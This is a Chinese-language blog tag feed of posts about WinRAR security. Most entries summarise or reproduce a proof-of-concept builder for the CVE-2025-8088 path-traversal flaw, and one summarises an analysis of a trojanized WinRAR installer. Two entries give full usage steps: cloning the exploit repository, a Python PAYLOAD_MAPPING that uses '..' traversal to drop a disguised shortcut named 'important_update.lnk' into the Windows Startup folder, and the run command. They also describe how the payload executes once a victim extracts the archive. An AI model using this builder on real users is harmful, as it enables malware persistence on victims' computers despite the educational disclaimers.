https://blog.qife122.com/tags/winrar/ Recent content in WinRAR on 办公AI智能小助手 Hugo zh-cn qife Mon, 12 Jan 2026 11:28:12 +0800 https://blog.qife122.com/p/%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E5%88%86%E5%8F%91winzipper%E5%90%8E%E9%97%A8%E7%9A%84%E7%89%B9%E6%B4%9B%E4%BC%8A%E5%8C%96winrar%E5%AE%89%E8%A3%85%E7%A8%8B%E5%BA%8F/ Mon, 12 Jan 2026 11:28:12 +0800 https://blog.qife122.com/p/%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E5%88%86%E5%8F%91winzipper%E5%90%8E%E9%97%A8%E7%9A%84%E7%89%B9%E6%B4%9B%E4%BC%8A%E5%8C%96winrar%E5%AE%89%E8%A3%85%E7%A8%8B%E5%BA%8F/ <h1 id="深度解析分发winzipper后门的特洛伊化winrar安装程序">深度解析：分发Winzipper后门的特洛伊化WinRAR安装程序</h1> <p><strong>威胁级别：高</strong> <strong>类型：分析报告</strong></p> <p>这份详细的分析报告揭示了一场利用特洛伊化的WinRAR安装程序分发Winzipper后门恶意软件的恶意活动。多层解包和动态分析揭示了该恶意软件如何隐藏在合法安装程序背后以逃避检测并建立持久性，报告同时提供了明确的威胁指标和缓解建议。</p> https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ Sun, 02 Nov 2025 21:26:35 +0800 https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ <h1 id="cve-2025-8088-winrar路径遍历工具">CVE-2025-8088 WinRAR路径遍历工具</h1> <blockquote> <p><strong>⚠ 此工具仅用于教育目的。严禁在受控环境之外未经授权使用。</strong></p> </blockquote> <p>这是一个Python脚本，利用WinRAR中的路径遍历漏洞CVE-2025-8088，通过生成恶意存档文件将可执行载荷放入Windows启动文件夹，使用多个相对目录级别确保无论解压位置如何都能可靠执行。</p> https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/ Sat, 01 Nov 2025 13:59:18 +0800 https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/ <h1 id="cve-2025-8088-winrar构建器">CVE-2025-8088-WinRAR构建器</h1> <p>一个针对WinRAR漏洞（CVE-2025-8088）的概念验证利用程序，影响7.12及以下版本</p> <h2 id="-工作原理">🚀 工作原理</h2> <ol> <li>创建包含其他有效载荷的Rar嵌入文件</li> <li>使用多ADS流🔄 - 附加具有不同路径遍历深度的有效载荷流</li> <li>操纵RAR头文件⚙️ - 修改存档结构以利用路径遍历漏洞</li> <li>将有效载荷投递到启动文件夹📂 - 在解压时尝试将有效载荷写入Windows启动文件夹</li> </ol> <h2 id="-使用方法">🛠️ 使用方法</h2> <ol> <li>克隆仓库</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git </span></span><span class="line"><span class="cl"><span class="nb">cd</span> CVE-2025-8088-WinRAR-builder </span></span></code></pre></td></tr></table> </div> </div><ol start="2"> <li>准备有效载荷</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">mkdir</span> <span class="n">payloads</span> </span></span></code></pre></td></tr></table> </div> </div><ul> <li>将有效载荷添加到该文件夹（exe、dll、lnk等）</li> <li>在脚本中修改<code>PAYLOAD_MAPPING</code></li> </ul> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 2. 将我们的有效载荷映射到相应的目标位置</span> </span></span><span class="line"><span class="cl"><span class="c1"># 格式：(payloads_dir中的文件名, 目标提取路径)</span> </span></span><span class="line"><span class="cl"><span class="n">PAYLOAD_MAPPING</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">]]</span> <span class="o">=</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1"># 有效载荷1</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="s2">&#34;payload.lnk&#34;</span><span class="p">,</span> <span class="s2">&#34;..</span><span class="se">\\</span><span class="s2">AppData</span><span class="se">\\</span><span class="s2">Roaming</span><span class="se">\\</span><span class="s2">Microsoft</span><span class="se">\\</span><span class="s2">Windows</span><span class="se">\\</span><span class="s2">Start Menu</span><span class="se">\\</span><span class="s2">Programs</span><span class="se">\\</span><span class="s2">Startup</span><span class="se">\\</span><span class="s2">important_update.lnk&#34;</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1"># 有效载荷2</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">,</span> <span class="s2">&#34;C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Public</span><span class="se">\\</span><span class="s2">Downloads</span><span class="se">\\</span><span class="s2">logo.png&#34;</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1"># 有效载荷3</span> </span></span><span class="line"><span class="cl"> <span class="c1"># 添加你自己的有效载荷</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="3"> <li>运行利用程序</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">python builder.py </span></span></code></pre></td></tr></table> </div> </div><h2 id="-执行流程">🔄 执行流程</h2> <ol> <li>受害者使用易受攻击的WinRAR（≤7.12）解压RAR文件</li> <li>有效载荷被写入目标文件夹，例如： <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">AppData<span class="se">\R</span>oaming<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\S</span>tart Menu<span class="se">\P</span>rograms<span class="se">\S</span>tartup<span class="se">\ </span></span></span></code></pre></td></tr></table> </div> </div></li> <li>在下次重启时➡️有效载荷自动执行</li> </ol> <h2 id="-要求">📋 要求</h2> <ul> <li>Windows操作系统🪟</li> <li>Python 3.x🐍</li> <li>已安装WinRAR</li> </ul> https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ Thu, 23 Oct 2025 15:14:53 +0800 https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ <h1 id="cve-2025-8088-winrar路径遍历工具">CVE-2025-8088 WinRAR路径遍历工具</h1> <blockquote> <p><strong>⚠ 此工具仅用于教育目的。严禁在受控环境之外进行未经授权的使用。</strong></p> </blockquote> <p>这是一个Python脚本，利用CVE-2025-8088（WinRAR中的路径遍历漏洞），通过生成恶意压缩包，将可执行载荷放入Windows启动文件夹，使用多个相对目录级别确保无论解压位置如何都能可靠执行。</p> https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E8%AF%A6%E8%A7%A3cve-2025-8088/ Thu, 23 Oct 2025 15:06:49 +0800 https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E8%AF%A6%E8%A7%A3cve-2025-8088/ <h1 id="cve-2025-8088-winrar构建器">CVE-2025-8088-WinRAR构建器</h1> <p>针对影响7.12及更低版本WinRAR漏洞(CVE-2025-8088)的POC利用程序</p> <h2 id="-工作原理">🚀 工作原理</h2> <ol> <li>创建包含其他载荷的RAR嵌入文件</li> <li>使用多ADS流🔄 - 附加具有不同路径遍历深度的载荷流</li> <li>操作RAR头文件⚙️ - 修改存档结构以利用路径遍历漏洞</li> <li>将载荷投放至启动文件夹📂 - 在解压时尝试将载荷写入Windows启动文件夹</li> </ol> <h2 id="-使用方法">🛠️ 使用方法</h2> <ol> <li>克隆仓库</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git </span></span><span class="line"><span class="cl"><span class="nb">cd</span> CVE-2025-8088-WinRAR-builder </span></span></code></pre></td></tr></table> </div> </div><ol start="2"> <li>准备载荷</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">mkdir</span> <span class="n">payloads</span> </span></span></code></pre></td></tr></table> </div> </div><ul> <li>将载荷添加到该文件夹（exe、dll、lnk等）</li> <li>修改脚本中的<code>PAYLOAD_MAPPING</code></li> </ul> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 2. 将我们的载荷映射到相应的目标位置</span> </span></span><span class="line"><span class="cl"><span class="c1"># 格式：(payloads_dir中的文件名，目标提取路径)</span> </span></span><span class="line"><span class="cl"><span class="n">PAYLOAD_MAPPING</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">]]</span> <span class="o">=</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1"># 载荷1</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="s2">&#34;payload.lnk&#34;</span><span class="p">,</span> <span class="s2">&#34;..</span><span class="se">\\</span><span class="s2">AppData</span><span class="se">\\</span><span class="s2">Roaming</span><span class="se">\\</span><span class="s2">Microsoft</span><span class="se">\\</span><span class="s2">Windows</span><span class="se">\\</span><span class="s2">Start Menu</span><span class="se">\\</span><span class="s2">Programs</span><span class="se">\\</span><span class="s2">Startup</span><span class="se">\\</span><span class="s2">important_update.lnk&#34;</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1"># 载荷2</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">,</span> <span class="s2">&#34;C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Public</span><span class="se">\\</span><span class="s2">Downloads</span><span class="se">\\</span><span class="s2">logo.png&#34;</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1"># 载荷3</span> </span></span><span class="line"><span class="cl"> <span class="c1"># 添加你自己的载荷</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="3"> <li>运行利用程序</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">python builder.py </span></span></code></pre></td></tr></table> </div> </div><h2 id="-执行流程">🔄 执行流程</h2> <ol> <li>受害者使用易受攻击的WinRAR（≤7.12）解压RAR文件</li> <li>载荷被写入目标文件夹，例如： <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">AppData<span class="se">\R</span>oaming<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\S</span>tart Menu<span class="se">\P</span>rograms<span class="se">\S</span>tartup<span class="se">\ </span></span></span></code></pre></td></tr></table> </div> </div></li> <li>下次重启时➡️载荷自动执行</li> </ol> <h2 id="-要求">📋 要求</h2> <ul> <li>Windows操作系统🪟</li> <li>Python 3.x🐍</li> <li>已安装WinRAR</li> </ul> https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ Thu, 25 Sep 2025 21:47:55 +0800 https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ <h1 id="cve-2025-8088-winrar路径遍历工具">CVE-2025-8088 WinRAR路径遍历工具</h1> <blockquote> <p><strong>⚠ 此工具仅用于教育目的。严禁在受控环境之外进行未经授权的使用。</strong></p> </blockquote> <p>这是一个Python脚本，利用WinRAR中的路径遍历漏洞CVE-2025-8088，通过生成恶意压缩包，使用多级相对目录将可执行载荷放置到Windows启动文件夹中，确保无论解压位置如何都能可靠执行。</p> https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ Thu, 25 Sep 2025 02:19:08 +0800 https://blog.qife122.com/p/winrar%E8%B7%AF%E5%BE%84%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9Ecve-2025-8088%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7%E8%AF%A6%E8%A7%A3/ <h1 id="cve-2025-8088-winrar路径遍历工具">CVE-2025-8088 WinRAR路径遍历工具</h1> <blockquote> <p><strong>⚠ 本工具仅用于教育目的。严禁在受控环境之外进行未经授权的使用。</strong></p> </blockquote> <p>这是一个Python脚本，利用WinRAR中的路径遍历漏洞CVE-2025-8088，通过生成恶意压缩包将可执行载荷放置到Windows启动文件夹中。该工具使用多级相对目录层级确保无论解压位置如何都能可靠执行。</p>